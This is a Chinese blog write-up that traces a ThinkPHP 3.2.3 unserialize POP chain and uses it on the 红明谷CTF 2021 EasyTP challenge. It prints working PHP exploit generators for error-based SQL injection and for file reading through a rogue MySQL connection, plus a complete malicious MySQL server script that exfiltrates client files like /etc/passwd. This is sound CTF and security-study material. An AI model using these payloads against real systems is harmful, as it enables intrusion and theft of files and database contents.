ThinkPHP3.2.*POP链复现(SQL注入&读取文件)

前言:

  • 最近在学习TP框架的时候遇到的题,决定把TP常见的那几条pop链都给复现一下
  • 由于本人目前比较菜,有些地方写得会比较模糊,等到时候我会重新补充归档一下
  • 复现链子非常折磨,特别是代码量比较大且对这个框架不是很熟悉的情况下,所以建议找个状态好的时间审

环境搭建:

环境

php版本:5.4.45

操作系统:Windows

中间件:apache

ThinkPHP版本:3.2.3

数据库:MySQL

工具

PHPstudy 8.1.1.3

ThinkPHP3.2.3模板

PHPstorm

搭建

image-20220309203820360

在Home模块下的index控制器下写一个反序列化点

<?php

namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
 public function index($n)
 {
     unserialize(base64_decode($n));
     echo 1;
 }
}

image-20220309204056276

搭建完成

POP链复现:

寻找反序列化入口

双击shift查找__destruct方法

image-20220309204420320

跟进/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php

image-20220309204716316

发现这里可以通过控制成员变量调用其他类的destroy方法

跟进destroy方法

image-20220309205331297

跟进文件/ThinkPHP/Library/Think/Session/Driver/Memcache.class.php

image-20220309205520186

这里同样可以通过控制$this->handle来调用其它类的delete方法

PS:这里的destroy方法形参为初始化默认值(比如destroy($sessID = '')),所以未传参的情况下会报错导致链子无法向下进行,这里的解决方法是把php版本换成php5,具体原因不知道

跟进delete方法

image-20220309210712109

进入/ThinkPHP/Library/Think/Model.class.php的delete方法

    public function delete($options=array()) {
        $pk   =  $this->getPk();
        if(empty($options) && empty($this->options['where'])) {
            // 如果删除条件为空 则删除当前数据对象所对应的记录
            if(!empty($this->data) && isset($this->data[$pk]))
                return $this->delete($this->data[$pk]);
            else
                return false;
        }
        if(is_numeric($options)  || is_string($options)) {
            // 根据主键删除记录
            if(strpos($options,',')) {
                $where[$pk]     =  array('IN', $options);
            }else{
                $where[$pk]     =  $options;
            }
            $options            =  array();
            $options['where']   =  $where;
        }
        // 根据复合主键删除记录
        if (is_array($options) && (count($otions) > 0) && is_array($pk)) {
            $count = 0;
            foreach (array_keys($options) as $key) {
                if (is_int($key)) $count++; 
            } 
            if ($count == count($pk)) {
                $i = 0;
                foreach ($pk as $field) {
                    $where[$field] = $options[$i];
                    unset($options[$i++]);
                }
                $options['where']  =  $where;
            } else {
                return false;
            }
        }
        // 分析表达式
        $options =  $this->_parseOptions($options);
        if(empty($options['where'])){
            // 如果条件为空 不进行删除操作 除非设置 1=1
            return false;
        }      
        if(is_array($options['where']) && isset($options['where'][$pk])){
            $pkValue            =  $options['where'][$pk];
        }

        if(false === $this->_before_delete($options)) {
            return false;
        }      
        $result  =    $this->db->delete($options);
        if(false !== $result && is_numeric($result)) {
            $data = array();
            if(isset($pkValue)) $data[$pk]   =  $pkValue;
            $this->_after_delete($data,$options);
        }
        // 返回删除记录个数
        return $result;
    }

image-20220309212452434

分析这个delete方法

$pk   =  $this->getPk();  //$pk可控制

跟进这里的getPk方法,发现getPk返回的值可以自己控制,也就是可以控制pk变量

image-20220309212636617

if(empty($options) && empty($this->options['where'])) {
    // 如果删除条件为空 则删除当前数据对象所对应的记录
    if(!empty($this->data) && isset($this->data[$pk]))
        return $this->delete($this->data[$pk]);
    //控制option的值
    else
        return false;
}

option传入的值可以通过destroy方法所在类的成员变量的$this->sessionName来控制

但是传入的值只能是字符串,而可以通过这个return回调来自由控制option

此时往下看跳转到518行,看到有个$this->db->delete($options)

image-20220310134914436

也就可以一次为跳板,调用其它类的任意类的delete方法,且传参可控,也就是说可以调用驱动类里面的数据库delete操作,然后我们接着跟进驱动类的delete方法

驱动类delete方法

image-20220310135221126

image-20220310135136477

public function delete($options=array()) {
        $this->model  =   $options['model'];
        //将$options['model']的值赋给model成员属性
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        //若传入的option数组中有bind键,就将bind键的值合并到bind成员属性上
        $table  =   $this->parseTable($options['table']);
        //将option[table]的值解析到变量table中,且是以逗号分隔,存储的是表名
        $sql    =   'DELETE FROM '.$table;
        //将表名拼接到sql语句中
        if(strpos($table,',')){// 多表删除支持USING和JOIN操作
            if(!empty($options['using'])){
                $sql .= ' USING '.$this->parseTable($options['using']).' ';
            }
            $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
        }
        //这个没必要看
        $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
        //拼接限制条件,如果option[where]存在的话
        if(!strpos($table,',')){
            // 单表删除支持order和limit
            $sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
            .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
        }
        //判断是否为单表操作,如果是那就拓展order和limit限制约束
        $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');
        //拼接注释
        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
        //调用$this->execute方法执行SQL语句
    }

具体分析下来发现这个函数主要是处理sql语句,在最后一行的时候才调用$this->execute方法执行命令,且这个sql语句可以自由控制的,比如说这里的table变量就可以通过传入的传参来控制,从而达到sql注入的效果。 理论上来说这里已经就可以结束了,但是我们还得继续跟进一下execute方法,看下里面是否会有影响我们sql注入的地方,或者是否还有其它漏洞

跟进$this->execute方法

image-20220310141952963

那我们又来慢慢的审 计吧

 public function execute($str,$fetchSql=false) {
        $this->initConnect(true);
         //初始化数据库连接,核心的一部分,我下面单独拉出来将
        if ( !$this->_linkID ) return false;
        $this->queryStr = $str;
        if(!empty($this->bind)){
            $that   =   $this;
            $this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ 
                return '\''.$that->escapeString($val).'\''; },$this->bind));
        }
        if($fetchSql){
            return $this->queryStr;
        }
        //释放前次的查询结果
        if ( !empty($this->PDOStatement) ) $this->free();
        $this->executeTimes++;
        N('db_write',1); // 兼容代码
        // 记录开始执行时间
        $this->debug(true);
        $this->PDOStatement =   $this->_linkID->prepare($str);
        if(false === $this->PDOStatement) {
            $this->error();
            return false;
        }
        foreach ($this->bind as $key => $val) {
            if(is_array($val)){
                $this->PDOStatement->bindValue($key, $val[0], $val[1]);
            }else{
                $this->PDOStatement->bindValue($key, $val);
            }
        }
        $this->bind =   array();
        try{
            $result =   $this->PDOStatement->execute();
            // 调试结束
            $this->debug(false);
            if ( false === $result) {
                $this->error();
                return false;
            } else {
                $this->numRows = $this->PDOStatement->rowCount();
                if(preg_match("/^\s*(INSERT\s+INTO|REPLACE\s+INTO)\s+/i", $str)) {
                    $this->lastInsID = $this->_linkID->lastInsertId();
                }
                return $this->numRows;
            }
        }catch (\PDOException $e) {
            $this->error();
            return false;
        }
    }

可以发现这个方法大致写的就是先通过$this->config里面的值去初始化数据库连接,然后在这基础上执行前面传入的sql语句

我们跟进一下$this->initConnect(true);

image-20220310142903621

接着又跟进$this->connect()

image-20220310143033491

到这里链子就已经结束了,总结一下

总结

链子

/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php:: __destruct() =>

/ThinkPHP/Library/Think/Session/Driver/Memcache.class.php :: destroy() =>

/ThinkPHP/Library/Think/Model.class.php :: delete() =>

/ThinkPHP/Library/Think/Db/Driver.class.php :: delete()

漏洞利用

在驱动类中的execute方法中我们可以通过修改config成员变量,使得我们能够自由连接数据库,也就是说,我们可以连接恶意数据库从而达到一些目的,比如说MySQL恶意服务端读取客户端文件漏洞

POC脚本:

<?php
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "thinkphp",
            "hostname" => "127.0.0.1",
            "hostport" => "3307",
            "charset"  => "utf8",
            "username" => "root",
            "password" => ""
        );
    }
}

namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;

        public function __construct(){
            $this->img = new Memcache();
        }
    }
}

namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle;

        public function __construct(){
            $this->handle = new Model();
        }
    }
}

namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;

        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=updatexml(1,user(),1)#",
                "where" => "1=1"
            );
        }
    }
}

namespace {
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
//此为搬运poc

例题:

[红明谷CTF 2021]EasyTP

image-20220310174019462

提示为tp框架,访问www.zip拿到源码

image-20220310174435904

在默认控制器下发现有反序列化点,直接post传参就行

现在我们可以利用上面那个poc读取文件,先试试读取/etc/passwd

image-20220310180154105

image-20220310180554749

image-20220310180619100

image-20220310182552752

成功读到文件,然后试着读取数据库的配置

image-20220310182706333

本来是想着读取他的配置文件,看有没有数据库密码之内的,很显然我没找到,但我感觉预期就是通过读文件来找mysql数据库密码泄露,然后进行sql注入。

后来我去看了一眼WP发现这个比赛时的数据库密码原来是弱口令123456,BUU上复现的也是弱口令root,那这就好办了,直接sql注入

image-20220310184331679

image-20220310184355406

image-20220310185213470

报错注入的过程就不做具体叙述了

<?php
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "mysql",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
    }
}

namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;

        public function __construct(){
            $this->img = new Memcache();
        }
    }
}

namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
        protected $handle;

        public function __construct(){
            $this->handle = new Model();
        }
    }
}

namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;

        public function __construct(){
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=updatexml(1,concat(0x7e,substr((select group_concat(flag) from test.flag),1,32)),0)#",
                "where" => "1=1"
            );
        }
    }
}

namespace {
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

poc如上

这里再给出一个mysql恶意读文件的php脚本

<?php
function unhex($str) { return pack("H*", preg_replace('#[^a-f0-9]+#si', '', $str)); }

$filename = "/etc/passwd";

$srv = stream_socket_server("tcp://0.0.0.0:3306");
//自行修改端口
while (true) {
  echo "Enter filename to get [$filename] > ";
  $newFilename = rtrim(fgets(STDIN), "\r\n");
  if (!empty($newFilename)) {
    $filename = $newFilename;
  }

  echo "[.] Waiting for connection on 0.0.0.0:3306\n";
  $s = stream_socket_accept($srv, -1, $peer);
  echo "[+] Connection from $peer - greet... ";
  fwrite($s, unhex('45 00 00 00 0a 35 2e 31  2e 36 33 2d 30 75 62 75
                    6e 74 75 30 2e 31 30 2e  30 34 2e 31 00 26 00 00
                    00 7a 42 7a 60 51 56 3b  64 00 ff f7 08 02 00 00
                    00 00 00 00 00 00 00 00  00 00 00 00 64 4c 2f 44
                    47 77 43 2a 43 56 63 72  00                     '));
  fread($s, 8192);
  echo "auth ok... ";
  fwrite($s, unhex('07 00 00 02 00 00 00 02  00 00 00'));
  fread($s, 8192);
  echo "some shit ok... ";
  fwrite($s, unhex('07 00 00 01 00 00 00 00  00 00 00'));
  fread($s, 8192);
  echo "want file... ";
  fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename);
  stream_socket_shutdown($s, STREAM_SHUT_WR);
  echo "\n";

  echo "[+] $filename from $peer:\n";

  $len = fread($s, 4);
  if(!empty($len)) {
    list (, $len) = unpack("V", $len);
    $len &= 0xffffff;
    while ($len > 0) {
      $chunk = fread($s, $len);
      $len -= strlen($chunk);
      echo $chunk;
    }
  }

  echo "\n\n";
  fclose($s);
}

文章参考

http://www.rabcdxb.ltd/archives/-hong-ming-gu-ctf2021easytp

https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA

https://cloud.tencent.com/developer/article/1818089

最后修改:2022 年 07 月 23 日
如果觉得我的文章对你有用,请随意赞赏
本文作者:
文章标题:ThinkPHP3.2.*POP链复现(SQL注入&读取文件)
本文地址:https://pysnow.cn/archives/175/
版权说明:若无注明,本文皆Pysnow's Blog原创,转载请保留文章出处。